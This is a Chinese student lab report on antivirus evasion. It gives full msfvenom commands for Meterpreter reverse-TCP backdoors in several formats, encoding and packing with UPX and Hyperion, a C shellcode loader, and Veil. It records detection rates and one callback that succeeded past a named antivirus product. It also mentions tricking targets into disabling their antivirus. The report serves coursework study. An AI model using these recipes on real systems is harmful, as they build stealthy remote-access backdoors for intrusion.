一、实验目标
- 理解免杀的原理
- 掌握并实践免杀的各种方法
二、实验内容
任务一:
- 正确使用msf编码器
- msfvenom生成如jar之类的其他文件
- veil
- 加壳工具
- 使用C + shellcode编程
任务二:
- 通过组合应用各种技术实现恶意代码免杀
任务三:
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
三、基础知识
免杀概念
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术
免杀要求
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验
免杀反制
- 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础
免杀效果
- 利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
四、基础问题回答
杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 一段特征码就相当于一段或多段数据,如果一个可执行文件含有这样的数据则被认为是恶意代码
- 过时的特征码库就是没有用的库,所以杀毒软件的更新很重要,杀软要尽量搜集最全的、最新的特征码库
- 启发式恶意软件检测
- 就是根据些片面特征(如行为)去推断,通常是因为缺乏精确判定依据
- 优点:可以检测0-day恶意软件、具有一定通用性
- 缺点:实时监控系统行为,开销稍多、没有基于特征码的精确度高
- 基于行为的恶意软件检测
- 相当于是启发式的一种,或者是加入了行为监控的启发式
免杀是做什么?
- 是对恶意软件做处理,让它不被杀毒软件所检测
- 在渗透测试中也有应用
免杀的基本方法有哪些?
改变特征码:
- 加壳(压缩壳 加密壳)——如果只有exe
- 用encode进行编码——有shellcode(像Meterpreter)
- 基于payload重新编译生成可执行文件——有shellcode
- 用其他语言进行重写再编译(veil-evasion)——有源代码
改变行为:
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
非常规方法:
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 利用Metasploit已有的payload来半手工的打造一个恶意软件
- 纯手工打造一个恶意软件(效果最好)
- 使用社工类攻击,诱骗目标关闭AV软件
开启杀软能绝对防止电脑中恶意代码吗?
- 不能,本次实验即可证明,杀毒软件也会有缺陷,是不可能绝对防止电脑中的恶意代码的
五、实验任务
任务一:基本方法免杀
1.正确使用msf编码器
直接生成
- 使用实验二中的方法,使用MSF,生成exe文件
- 使用VirusTotal、virscan网站进行扫描
- 由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行编码
一次编码
- 命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.0.107 LPORT=5217 -f exe > 5217_1.exe
-e
:选择编码器-b
:去除字符(在本命令中为了使‘\x00‘不出现在shellcode中,因为shellcode以‘\x00‘为结束符)
- 使用VirusTotal、virscan网站进行扫描,结果与之前无编码基本一致,VirusTotal上57/72、virscan上24/49
十次编码
- 命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.0.107 LPORT=5217 -f exe > 5217_2.exe
-i
:设置迭代次数
- 使用VirusTotal、virscan网站进行扫描,效果与之前无编码也不大,甚至更菜了,VirusTotal上57/72、virscan上26/49
- 由此可见多次编码对免杀没有太大的效果,原因可能如下:
- 杀软研究的是编码器本身,shikata_ga_nai的解码部分总会需要加入到exe中,这部分总会被杀软识别出来,所以效果可能更差
- msfvenom会以固定的模板生成exe,因此会有一定的固定特征。所以杀软会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用新的模板生成exe
2.msfvenom生成如jar之类的其他文件
生成jar文件
- 使用命令:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.228.128 lport=5217 x> wyf_jar.jar
生成jar文件
- 使用VirusTotal、virscan网站进行扫描,发现效果比之前直接生成exe文件效果好,VirusTotal上35/60、virscan上15/49
生成python文件
- 使用命令:
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.228.128 lport=5217 x> wyf_python.py
生成py文件
- 使用VirusTotal、virscan网站进行扫描,发现效果比之前直接生成jar文件效果又好一些,效果很好,VirusTotal上25/59、virscan上3/49
- 尝试一下回连
- 回连成功,注意这里回连时playload要选python
生成php文件
- 使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.228.128 LPORT=5217 x> wyf_php.php
生成php文件
- 使用VirusTotal网站进行扫描,发现效果比生成的py文件效果又有了显著提升,效果非常好,绝大部分杀软基本无法将其检测出来,VirusTotal上3/58、virscan上1/49
原因分析
- 可能是杀软缺乏对python、php代码,尤其是php代码的检测能力
- 但py、php文件运行起来比较麻烦,所以实操可能效果还是没那么好
3.veil
安装veil
- 用
sudo apt-get install veil-evasion
命令安装veil
- 安装完成后输入
veil
运行,然后选择y
进一步安装软件 - 出现绿色的指令界面表示安装成功
生成python文件
- 输入
use evasion
命令进入Evil-Evasion界面
- 输入
list
查看可用的playload
- 选择一个可用的playload,输入
use 编号
,如这里选择使用python语言的python/meterpreter/rev_tc
,就输入use 28
- 设置反弹连接LHOST:
set LHOST 192.168.228.128
、端口LPOST:set LPORT 5217
,最后输入options
查看确认
- 输入
generate
生成文件,接着输入你想要playload的名字
- 查看保存路径,并将文件保存在win主机里
- 使用VirusTotal、virscan网站进行扫描,发现效果非常好,VirusTotal上3/59、virscan上1/49
生成ruby文件
- 方法和之前一样,又试了ruby,效果还算可以
4.加壳
基本知识
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
压缩壳UPX
- 对刚刚的
5217_2.exe
用UPX加壳,输入:upx 5217_2.exe -o upx_5217_2.exe
,生成UPX_5217_2.exe
- 对该加壳软件进行检测,发现效果有所改观,但效果不明显,还是很容易被检测出来
加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中
进入目录/usr/share/windows-binaries/hyperion/
中
输入命令wine hyperion.exe -v upx_5217_2.exe hyperion_upx_5217_2.exe
进行加壳
- 效果又有了一些改善,但整体效果还是不太好
加壳小结
- 总的来说,使用加壳软件,虽然可能改善一些效果,但似乎并不能得到很好地免杀效果
- 这些加壳软件中包含的特征信息,有时候反而会增加杀毒软件识别的可能性
5.使用C + shellcode编程
- 首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=5217 -f c
用c语言生成一段shellcode;
- 创建一个文件
wyf_lx25t.c
,然后将unsigned char buf[]
赋值到其中
- 使用命令:
i686-w64-mingw32-g++ wyf_lx25t.c -o wyf_lx25t.exe
编译这个.c文件为可执行文件 - 尝试一下回连
- 检测结果如下,效果不算很好
基本方法整体测试
- 最后,见证奇迹的时刻,打开杀软,发现使用veil生成的、和其他语言的文件都不会被杀软查杀,但除此之外的软件都被杀掉了
基本方法免杀小结
- 经过上述的实践,总体来说,发现基本的免杀方法整体效果不太好,但是也不乏一些比较好的方式,需要多次的尝试和验证才能探索出来
- 原因主要基本的方法含有许多明显的特征信息,这些信息早已被现有的杀软收录,所以就很容易被查出来,而一些特殊的语言或编译方式杀软可能并没有来得及收录,所以也会有一些好的效果
任务二:通过组合应用各种技术实现恶意代码免杀
- 试了学姐博客里的半加工+加壳的方法,发现会被查杀,所以打算自己探索新的方法
- 这一部分内容参考课代表的博客和远控免杀专题(30)-Python加载shellcode免杀-8种方式
组合1——shellcode+强转
- 同任务一的方法使用C + shellcode编程,并尝试强转数组类型
- 成功
- 然而,半天之后,它也没撑住,看来杀软杀毒真的是玄学
- 但总体来说,如果要过很久才被查出来的话,它可能还是有点用的
组合2——shellcodeWrapper加工+pyinstaller打包(加壳)
- 于是我又试了一种比较麻烦的方法
- 用msf生成raw文件
- 用shellcodeWrapper生成py后门文件
- 使用pyinstaller将该python文件转为exe文件
- 成功
- 建议大家尝试远控免杀专题(30)-Python加载shellcode免杀-8种方式中的其他方法,这个太麻烦了...安装软件和修改代码会出现各种奇奇怪怪的问题,我调了好久才调好
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实测:使用的是自己的win10虚拟机
杀软名称:360安全卫士
版本:12.0.0.2002
六、遇到的问题和解决
问题一:安装veil时总是报错
解决一:按照同学的说法,多装了几次,装了好久,终于装上了(就是多装几次就好了...
问题二:无法安装pyinstaller
解决二:找了各种方法各种博客,还是没解决,后来自己安了个win10虚拟机,在虚拟机里安成功了,但问题到底出在哪还是不清楚
问题三:kali的设置打不开了,它一直转圈圈
尚未解决
七、实验心得体会
? ? ? ?这次实验做的是免杀,刚开始觉得没什么难的,但真正做起来就明显感觉到,想要做到免杀还是很难的,如果想要效果好,就要精通一些软件的使用、代码的编写等,也要真正深入地理解免杀的原理。
? ? ? ?这次实验我觉得还是很难的,是参考老师的实验指导、课代表的博客和学长学姐的博客完成的,在过程中遇到的问题,也和同学们交流讨论,很多问题虽然很烦,但跟同学一讨论就感觉没有那么自闭了。
? ? ? ?这次实验虽然使我对免杀有了一定的理解,但是还是没有办法很好地做到免杀,在今后的学习过程中我也会更加努力、做的更好。
八、参考链接
原文地址:https://www.cnblogs.com/wyf20175217/p/12553799.html